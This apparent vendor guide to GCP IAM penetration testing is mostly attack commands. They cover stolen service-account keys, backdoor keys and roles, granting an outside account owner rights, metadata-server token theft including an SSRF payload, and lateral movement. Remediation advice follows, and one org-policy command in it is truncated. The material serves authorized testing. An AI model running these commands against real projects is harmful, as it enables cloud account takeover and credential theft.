GCP IAM Security Testing: Privilege Escalation, Service Account Abuse, and Lateral Movement
Google Cloud's IAM model is powerful but subtle — service accounts, workload identity, org-level policies, and project bindings interact in ways that create non-obvious privilege escalation paths. This guide covers the full GCP IAM attack surface used in cloud penetration tests.
Why GCP IAM Is a Priority Attack Target
GCP IAM controls access to every resource in a Google Cloud organization. Unlike AWS, GCP uses a hierarchical resource model (Organization → Folder → Project → Resource) where permissions at higher levels cascade downward. This creates several unique attack patterns:
- Service account key files — GCP allows downloading JSON key files that grant persistent, long-lived access outside any audit trail
- Workload identity federation — misconfigured external identity providers can allow external accounts to impersonate service accounts
- Default service accounts — Compute Engine and App Engine default service accounts often have the broad
Editorrole on the project - The metadata server — GCE instances expose service account credentials via an unauthenticated local endpoint at
169.254.169.254
Phase 1: Enumeration and Initial Recon
Establishing Identity and Scope
# Who am I?
gcloud auth list
gcloud config list
gcloud projects list
# What organization am I in?
gcloud organizations list
gcloud resource-manager folders list --organization=[ORG_ID]
# What projects can I see?
gcloud projects list --filter="lifecycleState=ACTIVE"
# Current identity details
gcloud auth print-identity-token
gcloud iam service-accounts list --project=[PROJECT_ID]
Automated GCP Enumeration
# Use enumerate-iam equivalent for GCP: gcp_scanner or gcpwn
git clone https://github.com/GoogleCloudPlatform/gcp_scanner
python3 scanner.py -p [PROJECT_ID] -o output/
# Or use Hayat for automated GCP permission enumeration
# Tests ~700 GCP API actions against current credentials
git clone https://github.com/DenizParlak/hayat
python3 hayat.py
# Manual: list IAM policy for the project
gcloud projects get-iam-policy [PROJECT_ID] --format=json | \
jq '.bindings[] | {role: .role, members: .members}'
# Find service accounts with keys
gcloud iam service-accounts list --project=[PROJECT_ID] | \
awk 'NR>1{print $2}' | \
while read sa; do
echo "=== $sa ==="
gcloud iam service-accounts keys list --iam-account=$sa 2>/dev/null
done
Identifying High-Value Targets
# Find service accounts with primitive roles (Owner, Editor, Viewer)
gcloud projects get-iam-policy [PROJECT_ID] --format=json | \
jq '.bindings[] | select(.role | test("roles/(owner|editor)")) | {role, members}'
# List custom roles (may have unusual permission combinations)
gcloud iam roles list --project=[PROJECT_ID] --format="table(name,title,stage)"
# Check organization-level policies
gcloud organizations get-iam-policy [ORG_ID] --format=json | \
jq '.bindings[] | select(.members[] | contains("serviceAccount")) | {role, members}'
Phase 2: Service Account Key Theft and Abuse
Finding Exposed Key Files
GCP service account key files (.json) are one of the most commonly leaked credential types in cloud environments:
# Search code repositories
trufflehog git https://github.com/target-org/repo --only-verified
gitleaks detect --source /path/to/repo
# Grep for GCP key file patterns
grep -r "private_key_id" /path/to/search --include="*.json" -l
grep -r "service_account" /path/to/search --include="*.json" -l
# Docker image inspection
docker run --rm -it [image] find / -name "*.json" 2>/dev/null | \
xargs grep -l "private_key" 2>/dev/null
# Check common misconfigured GCS bucket paths
gsutil ls gs://[bucket]/
gsutil ls gs://[bucket]/credentials/
gsutil cat gs://[bucket]/service-account.json 2>/dev/null
Using a Stolen Key File
# Activate stolen service account
gcloud auth activate-service-account \
--key-file=/path/to/stolen-key.json
# Verify identity
gcloud auth list
gcloud config set account [SA_EMAIL]
# Generate access token for API calls
gcloud auth print-access-token
# Use token directly with REST APIs
TOKEN=$(gcloud auth print-access-token)
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/[PROJECT]"
Creating New Key Files for Persistence
# If you have iam.serviceAccountKeys.create permission:
gcloud iam service-accounts keys create /tmp/backdoor-key.json \
--iam-account=[TARGET_SA]@[PROJECT].iam.gserviceaccount.com
# This creates a persistent key that survives password resets
# and is not tied to the current user session
Phase 3: GCP IAM Privilege Escalation Paths
The Core Escalation Primitives
GCP privilege escalation typically flows through one of these primitives:
1. iam.serviceAccounts.actAs
# If you have iam.serviceAccounts.actAs on a higher-privileged SA:
# Impersonate the target service account
gcloud auth print-access-token \
--impersonate-service-account=[PRIVILEGED_SA]@[PROJECT].iam.gserviceaccount.com
# Then use the impersonated token
PRIV_TOKEN=$(gcloud auth print-access-token \
--impersonate-service-account=[PRIVILEGED_SA]@[PROJECT].iam.gserviceaccount.com)
curl -H "Authorization: Bearer $PRIV_TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/[PROJECT]:getIamPolicy"
2. iam.roles.update / iam.roles.create
# Update a custom role you have access to — add permissions
gcloud iam roles update [CUSTOM_ROLE_ID] --project=[PROJECT_ID] \
--add-permissions="iam.serviceAccounts.actAs,resourcemanager.projects.setIamPolicy"
# Create a new custom role with admin permissions
gcloud iam roles create backdoor_role \
--project=[PROJECT_ID] \
--permissions="iam.serviceAccounts.actAs,iam.serviceAccountKeys.create,resourcemanager.projects.setIamPolicy" \
--stage=GA
3. setIamPolicy Escalation
# If you have resourcemanager.projects.setIamPolicy:
# Grant yourself or a controlled SA the Owner role
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member="serviceAccount:[CONTROLLED_SA]@[PROJECT].iam.gserviceaccount.com" \
--role="roles/owner"
# Or bind to your user account directly
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member="user:attacker@gmail.com" \
--role="roles/owner"
4. Cloud Functions / Cloud Run Escalation
# Deploy a Cloud Function with a privileged service account
# If you have cloudfunctions.functions.create + iam.serviceAccounts.actAs:
cat > /tmp/main.py << 'EOF'
import subprocess
def handler(request):
result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT'],
capture_output=True, text=True)
return result.stdout
EOF
gcloud functions deploy escalation-fn \
--runtime python311 \
--trigger-http \
--allow-unauthenticated \
--service-account=[PRIVILEGED_SA]@[PROJECT].iam.gserviceaccount.com \
--source /tmp/
# Invoke the function — it runs as the privileged SA
curl https://[REGION]-[PROJECT].cloudfunctions.net/escalation-fn
5. GKE Node Default Service Account
# GKE nodes often run with compute default SA (can have Editor role)
# If you can exec into a GKE pod or the node:
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Token is returned — use it to call GCP APIs as the node SA
Complete Escalation Path Table
| Permission Required | Escalation Method | Result |
|---|---|---|
iam.serviceAccounts.actAs | Impersonate higher-privileged SA | SA's full permissions |
iam.serviceAccountKeys.create | Create persistent key for any SA you can list | Persistent SA access |
resourcemanager.projects.setIamPolicy | Bind owner role to controlled identity | Project owner |
iam.roles.update | Add permissions to existing custom role | Arbitrary permissions |
cloudfunctions.functions.create + actAs | Deploy function as privileged SA | SA's full permissions |
compute.instances.create + actAs | Create VM with privileged SA attached | SA's full permissions via IMDS |
iam.serviceAccounts.getAccessToken | Generate token for any SA directly | SA's full permissions |
deploymentmanager.deployments.create | Deploy resources with privileged SA | SA's full permissions |
Phase 4: Metadata Server Exploitation
Direct IMDS Access from Compute Engine
# From inside a GCE instance:
# Get service account token
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}
# Get service account email
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
# Get project ID and other instance metadata
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
# List all attributes (may include startup scripts with secrets)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
SSRF to Metadata Server
# GCP IMDS requires the Metadata-Flavor: Google header
# Standard SSRF payloads won't work without header injection
# But applications that proxy arbitrary headers are vulnerable:
curl -X POST https://app.target.com/fetch \
-H "Content-Type: application/json" \
-d '{
"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
"headers": {"Metadata-Flavor": "Google"}
}'
# Check if the app strips or forwards custom headers
# Some frameworks forward all request headers to upstream URLs
Startup Script Secrets
# Instance startup scripts are commonly used to bootstrap apps
# and may contain secrets, API keys, or git credentials
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script"
# Project-wide metadata
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true"
Phase 5: Workload Identity Federation Attacks
Misconfigured External Identity Providers
# Workload Identity Federation allows external identities (GitHub Actions,
# AWS roles, Azure AD) to impersonate GCP service accounts
# List workload identity pools
gcloud iam workload-identity-pools list --location=global --project=[PROJECT]
# Get pool details — look for overly broad attribute conditions
gcloud iam workload-identity-pools describe [POOL_ID] \
--location=global --project=[PROJECT]
# List providers in the pool
gcloud iam workload-identity-pools providers list \
--workload-identity-pool=[POOL_ID] \
--location=global --project=[PROJECT]
Vulnerable patterns in attribute conditions:
# Too broad — any identity from the external provider can impersonate
attribute.repository=="*" # wildcard repo
attribute.sub.startsWith("") # matches everything
# Correct — scope to a specific repo/identity
attribute.repository=="org/specific-repo"
Phase 6: Lateral Movement Across Projects
# Enumerate all projects the current identity can access
gcloud projects list
# Check for cross-project SA bindings
for project in $(gcloud projects list --format="value(projectId)"); do
echo "=== $project ==="
gcloud projects get-iam-policy $project --format=json 2>/dev/null | \
jq '.bindings[] | select(.members[] | contains("serviceAccount")) | {role, members}' 2>/dev/null
done
# Check organization-level bindings (requires org-level permissions)
gcloud organizations get-iam-policy [ORG_ID] --format=json | \
jq '.bindings[] | {role, members}'
# Check folder-level policies
gcloud resource-manager folders get-iam-policy [FOLDER_ID] --format=json
Testing Tools
| Tool | Purpose |
|---|---|
| gcloud CLI | Primary enumeration and exploitation tool |
| gcpwn | Automated GCP privilege escalation and enumeration |
| gcp_scanner | Google's own scanner — checks ~1000 permissions |
| hayat | Tests all GCP API actions for the current identity |
| trufflehog | Find exposed GCP key files in code/containers |
| ScoutSuite | Multi-cloud security auditing (GCP module) |
| Forseti Security | GCP policy enforcement and auditing |
Remediation
Service Account Hardening
- Disable default service account auto-mounting in GKE:
automountServiceAccountToken: false - Avoid downloading service account key files — use Workload Identity instead
- Audit and rotate any existing downloadable keys:
gcloud iam service-accounts keys list - Apply the principle of least privilege — avoid primitive roles (Owner/Editor)
Organization Policy Constraints
# Prevent service account key creation across the org
gcloud org-policies set-policy - <
Monitoring and Detection
# Enable Cloud Audit Logs for IAM changes
# Log these events:
# - iam.googleapis.com/projects.setIamPolicy
# - iam.serviceAccounts.actAs
# - iam.serviceAccountKeys.create
# - iam.serviceAccountKeys.get
# Create alerting policy for privilege escalation indicators
gcloud alpha monitoring policies create \
--notification-channels=[CHANNEL] \
--display-name="GCP IAM Escalation Alert" \
--condition-filter='resource.type="project" AND protoPayload.methodName="SetIamPolicy"'
Test Your GCP-Connected Applications
Ironimo scans the web application layer of your GCP-hosted apps for vulnerabilities that could lead to credential theft and privilege escalation — SSRF, injection, authentication bypass, and more. Start free scan.